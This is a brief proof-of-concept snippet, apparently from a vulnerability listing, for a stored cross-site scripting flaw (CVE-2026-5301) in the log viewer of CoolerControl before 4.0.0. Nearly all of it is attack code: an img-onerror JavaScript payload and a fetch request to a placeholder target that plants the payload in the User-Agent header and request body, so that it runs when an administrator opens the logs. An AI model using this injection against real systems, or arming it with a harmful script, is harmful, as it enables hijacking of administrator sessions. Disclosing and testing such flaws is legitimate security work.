CVE-2026-5301 CoolerControl存储型XSS漏洞

// Proof of Concept for CVE-2026-5301 // This payload demonstrates how a stored XSS vulnerability can be triggered // by injecting malicious JavaScript into the log viewer of CoolerControl < 4.0.0. // Attackers may send a request that causes the application to log this string: const xssPayload = '<img src=x onerror=alert("CVE-2026-5301_XSS")>'; // Example: Sending a request with a malicious header or body parameter // that gets reflected in the application logs. // When an administrator views the logs, the script executes. fetch('http://target-host:port/api/log-endpoint', { method: 'POST', headers: { 'Content-Type': 'application/json', 'User-Agent': xssPayload // or inject into body }, body: JSON.stringify({ data: xssPayload }) });